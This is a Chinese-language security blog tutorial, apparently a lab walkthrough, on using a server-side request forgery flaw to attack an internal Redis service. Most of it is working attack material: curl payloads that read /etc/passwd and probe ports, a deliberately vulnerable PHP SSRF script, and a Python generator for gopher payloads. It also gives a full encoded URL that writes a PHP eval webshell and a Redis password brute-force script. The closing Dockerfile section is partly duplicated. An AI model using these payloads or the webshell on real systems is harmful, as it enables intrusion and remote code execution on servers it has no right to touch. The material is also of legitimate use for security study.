SSRF--(Server-side Request Forge, 服务端请求伪造)定义:由攻击者构造的攻击链接传给服务端执行造成的漏洞,一般用来在外网探测或攻击内网服务
SSRF 漏洞思维导图如下,本篇主要介绍利用 SSRF 漏洞攻击内网 Redis
SSRF 攻击内网 Redis
当存在 SSRF 漏洞且内网中 Redis 服务可以未授权访问时,利用 Redis 任意文件写入成为十分常见的利用方式,一般内网中会存在 root 权限运行的 Redis 服务,利用 Gopher 协议可以攻击内网中的 Redis。
在之前的文章《浅谈 SSRF 漏洞之基础篇》,我们了解了 file, dict, gopher 协议的常规利用。
 # 利用file协议查看文件curl -v 'http://sec.com/ssrf.php?url=file:///etc/passwd'
# 利用dict探测端口curl -v 'http://sec.com/ssrf.php?url=dict://127.0.0.1:6379'
# 利用gopher协议反弹shellcurl -v 'http://sec.com/ssrf.php?url=gopher%3A%2F%2F127.0.0.1%3A6379/_....'
   复制代码
 想要利用 Gopher 协议构造报文我们就必须弄清楚 Redis 是怎么进行数据传输的--即【RESP 协议】。
Redis 传输协议--[RESP 协议]
Redis 未授权访问。
使用 docker 搭建现成的 Redis 未授权漏洞环境进行试验,过程如下:
- 获取 Redis 定制镜像 
 # 搜索镜像docker search ju5ton1y# 拉取镜像docker pull ju5ton1y/redis
   复制代码
 - 运行 Redis 容器 - ps:想要了解 ju5ton1y/redis 镜像 dockerfile 如何编写的同学可以看文末彩蛋~ 
 # 运行Redisdocker run -p 6788:6379 --name redis_test -d ju5ton1y/redis
   复制代码
 -p 6788:6379 # 端口映射,格式【主机(宿主)端口:容器端口】
-d ju5ton1y/redis # 后台运行容器,返回容器 ID
--name redis_test # 命名容器
- 进入容器,安装 tcpdump 抓包工具 
 # 新终端进入Redis容器docker exec -it redis_test /bin/bash
# 将redis.conf改为无密码未授权sed -i 's/requirepass 123123/#requirepass 123123/g' /etc/redis.conf
# 重启容器使配置生效docker restart redis_test
   复制代码
 
 # 重新进入容器安装tcpdumpapt-get install tcpdump # 监听eth0网卡的6379端口,将报文保存为nopass.pcaptcpdump -i eth0 port 6379 -w nopass.pcap
   复制代码
 
- 本地客户端进行连接未授权访问,后使用 Wireshark 打开 nopass.pcap 
查看 TCP 流数据,可以看到 Redis 的数据传输格式,结合官网学习 RESP 协议,介绍如下:
Redis服务器与客户端通过RESP(REdis Serialization Protocol)协议通信
RESP 协议是在 Redis 1.2 中引入的,但它成为了与 Redis 2.0 中的 Redis 服务器通信的标准方式
RESP 实际上是一个支持以下数据类型的序列化协议:
RESP 在 Redis 中用作请求 - 响应协议的方式如下:
- 客户端将命令作为- Bulk Strings的 RESP 数组发送到 Redis 服务器
 
- 服务器根据命令实现回复一种 RESP 类型 
在 RESP 中,某些数据的类型取决于第一个字节:
- 对于客户端请求- Simple Strings,回复的第一个字节是- +
 
 
- 对于客户端请求- error,回复的第一个字节是- -
 
 
- 对于客户端请求- Integer,回复的第一个字节是- :
 
 
- 对于客户端请求- Bulk Strings,回复的第一个字节是- $
 
 
- 对于客户端请求- array,回复的第一个字节是- *
 
 
此外,RESP能够使用稍后指定的Bulk Strings或Array的特殊变体来表示Null值。
在 RESP 中,协议的不同部分始终以"\r\n"(CRLF)结束。
可以看到客户端将命令发送到 Redis 服务器的流程为
Bulk Strings 用于表示长度最大为 512 MB 的单个二进制安全字符串,按以下方式编码:
字符串f4ke的编码如下:$4\r\nf4ke\r\n,如下图格式
 RESP Arrays 使用以下格式发送:
现在通过下图理解数据包:
Redis 认证访问,
修改 redis.conf 配置,有密码的情况下进行抓包。
 # 进入容器中修改配置文件sed -i 's/# requirepass 123123/requirepass 123123/g' /data/redis/redis.conf# 重启docker容器docker restart redis_test# 监听eth0网卡的6379端口,将报文保存为pass.pcaptcpdump -i eth0 port 6379 -w pass.pcap
   复制代码
 wireshark 追踪 TCP 流:
/tmp下成功被写入 shell.php
可以看到在每次请求命令执行之前都使用下面格式进行验证:
官方文档中提到:客户端可以通过一个写操作发送多个命令,而不需要在发出下一个命令之前读取上一个命令的服务器应答。
因此,在具有认证(弱口令)的情况下,我们依然可以进行与未授权相同的攻击方式,只需要在攻击脚本中加上验证数据即可。
SSRF 攻击复现
Redis 未授权访问
测试环境:
受害机:腾讯云主机 php7.2 (安装 curl 扩展)+ apache2 + redis6.0.6
攻击机:windows10
开局给出一段 ssrf 漏洞代码,利用它找到 flag~
 # ssrf.php<?php$ch = curl_init(); //创建新的 cURL 资源curl\_setopt($ch, CURLOPT\_URL, $_GET\['url'\]); //设置URL 和相应的选项# curl\_setopt($ch, CURLOPT\_FOLLOWLOCATION, 1);curl\_setopt($ch, CURLOPT\_HEADER, 0);# curl\_setopt($ch, CURLOPT\_PROTOCOLS, CURLPROTO\_HTTP | CURLPROTO\_HTTPS);curl_exec($ch);   //抓取 URL 内容并把它传递给浏览器,存储进文件curl_close($ch);  //关闭 cURL 资源,并且释放系统资源?>
   复制代码
 
使用 dict 协议来进行探测内网的主机存活与端口开放情况,使用 burpsuite 工具设置爆破 1000-9000 端口,爆破结果如下,6788 端口存在 redis 服务。
且本地无法访问云主机的 6788redis 端口,其 Redis 服务只面向云主机所在的内网。
初步思路:构造 Redis 命令写入 webshell,尝试使用中国蚁剑连接查找 flag。
 flushallset 1 '<?php eval($_POST\[\\"f4ke\\"\]);?>'config set dir /var/www/htmlconfig set dbfilename 5he1l.phpsavequit
   复制代码
 根据 RESP 协议使用七友师傅编写的 python 脚本redisSsrf.py,将上述命令转换为 gopher payload。
 import urllib.parse
protocol = "gopher://"ip = "127.0.0.1"port = "6788"shell = "\\n\\n<?php eval($_POST\[\\"f4ke\\"\]);?>\\n\\n"filename = "5he1l.php"path = "/var/www/html"passwd = ""cmd = \["flushall",     "set 1 {}".format(shell.replace(" ","${IFS}")),       "config set dir {}".format(path),     "config set dbfilename {}".format(filename),     "save",     "quit"    \]if passwd:    cmd.insert(0,"AUTH {}".format(passwd))payload = protocol + ip + ":" + port + "/_"def redis_format(arr):    CRLF = "\\r\\n"    redis_arr = arr.split(" ")    cmd = ""    cmd += "*" + str(len(redis_arr))    for x in redis_arr:        cmd += CRLF + "$" + str(len((x.replace("${IFS}"," ")))) + CRLF + x.replace("${IFS}"," ")    cmd += CRLF    return cmd
if \_\_name\_\_=="\_\_main\_\_":    for x in cmd:        payload += urllib.parse.quote(redis_format(x))
    # print(payload)    print(urllib.parse.quote(payload))
   复制代码
 执行redisSsrf.py脚本,生成 payload,
放入 url 参数浏览器请求如下,成功执行 Redis 命令写入 webshell。
 http://xx.xx.xx.xx:8000/ssrf.php?url=gopher%3A//127.0.0.1%3A6788/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252433%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_POST%255B%2522f4ke%2522%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A/var/www/html%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250A5he1l.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%252A1%250D%250A%25244%250D%250Aquit%250D%250A
   复制代码
 
使用中国蚁剑建立连接,文件即为我们刚刚写入的5he1l.php,密码为f4ke
保存数据右键文件管理,即可找到 flag 文件。
Redis 弱口令认证
测试环境:
受害机:腾讯云主机 php7.2 (安装 curl 扩展)+ apache2 + redis6.0.6
攻击机:windows10
浏览器访问返回如下:未对请求进行密码认证。
我们进一步利用 dict 协议,使用下面的格式尝试认证密码。
 dict://serverip:port/命令:参数dict://127.0.0.1:6788/auth:123456
   复制代码
 使用auth:123456,返回结果:
使用auth:123123,返回结果:
通过两次响应结果,可以确定 Redis 的密码为 123123,
因此在面对内网 redis 认证的情况下,可以利用 dict 或者 gopher 等协议编写脚本尝试爆破 Redis 口令,简单实现爆破脚本如下:
 import urllib.requestimport urllib.parse 
url = "http://xx.xx.xx.xx:8000/ssrf.php?url="
param = 'dict://127.0.0.1:6788/auth:'
with open(r'd:\\test\\top100.txt', 'r') as f:    for i in range(100):        passwd = f.readline()        all_url = url + param + passwd        # print(all_url)        request = urllib.request.Request(all_url)        response = urllib.request.urlopen(request).read()        # print(response)        if "+OK\\r\\n+OK\\r\\n".encode() in response:            print("redis passwd: " + passwd)            break
   复制代码
 将爆破得到的密码,加入到redisSsrf.py脚本中,接下来的攻击与未授权访问的攻击流程一样获得服务器的权限。
SSRF 利用工具
Gopherus - https://github.com/tarunkant/Gopherus
Gopherus 可以帮助我们直接生成 Gopher payload,以利用 SSRF(服务器端请求伪造)并获得 RCE(远程代码执行),
例如,本篇文章中的七友师傅的脚本即可用此工具代替直接生成 payload。
常用的还有以下两个工具
总结
SSRF 攻击内网 Redis 的利用方式除了写入 webshell 之外,还可以利用
- 计划任务执行命令反弹 shell 
- 写 ssh-keygen 公钥然后使用私钥登陆 
这两种方法在《Redis 未授权漏洞总结》一文中都有详细利用,只要将 payload 结合本文redisSsrf.py的脚本,就可以实现攻击。
通过 Redis 攻击环境的搭建,熟悉了 docker 命令及 dockerfile 的编写,还有 ubuntu apache2 配置及自带的防火墙 ufw 使用。
彩蛋
Dockerfile 文件如何实现 Redis 未授权环境的定制:
 #Redis 未授权访问
# 基于ubuntu:16.04版本FROM ubuntu:16.04
# Maintainer: 设置该镜像的作者MAINTAINER ju5ton1y
# RUN:用于执行后面跟着的命令行命令。有以下俩种格式:
## shell 格式:等同于在终端操作的 shell 命令RUN echo "deb http://mirrors.aliyun.com/ubuntu/ xenial main restricted universe multiverse\\ndeb http://mirrors.aliyun.com/ubuntu/ xenial-security main restricted universe multiverse\\ndeb http://mirrors.aliyun.com/ubuntu/ xenial-updates main restricted universe multiverse\\ndeb http://mirrors.aliyun.com/ubuntu/ xenial-backports main restricted universe multiverse" > /etc/apt/sources.list  # 换源
RUN apt-get update  # 更新RUN apt-get install -y openssh-server make gcc#RUN wget http://download.redis.io/releases/redis-3.2.11.tar.gz
# COPY:从上下文目录中复制文件或者目录到容器里指定路径COPY redis-3.2.11.tar.gz ./  # 复制redis安装包到容器当前文件夹RUN tar xzf redis-3.2.11.tar.gz # 解压RUN cd redis-3.2.11 && make && cd src && cp redis-server /usr/bin &&  cp redis-cli /usr/bin  # 编译并将redis-server及redis-cli复制到/usr/bin目录下
# ADD:复制文件指令。它有两个参数<source>和<destination>。destination是容器内的路径。source可以是URL或者是启动配置上下文中的一个文件ADD redis.conf /etc/redis.conf  # 映射配置文件到容器内ADD sshd\_config /etc/ssh/sshd\_config
# EXPOSE:指定容器在运行时监听的端口EXPOSE 6379 22
RUN /etc/init.d/ssh restart  # 重启ssh服务
# CMD 类似于 RUN 指令,在docker run时运行## exec 格式:等价于 RUN redis-server /etc/redis.confCMD \["redis-server", "/etc/redis.conf"\]  # 以被映射到容器中的配置文件启动redis服务
   复制代码
 其中启动配置上下文目录如下:
 它有两个参数<source>和<destination>。destination是容器内的路径。source可以是URL或者是启动配置上下文中的一个文件ADD redis.conf /etc/redis.conf  # 映射配置文件到容器内ADD sshd\_config /etc/ssh/sshd\_config
# EXPOSE:指定容器在运行时监听的端口EXPOSE 6379 22
RUN /etc/init.d/ssh restart  # 重启ssh服务
# CMD 类似于 RUN 指令,在docker run时运行## exec 格式:等价于 RUN redis-server /etc/redis.confCMD \["redis-server", "/etc/redis.conf"\]  # 以被映射到容器中的配置文件启动redis服务
   复制代码
 其中启动配置上下文目录如下:
评论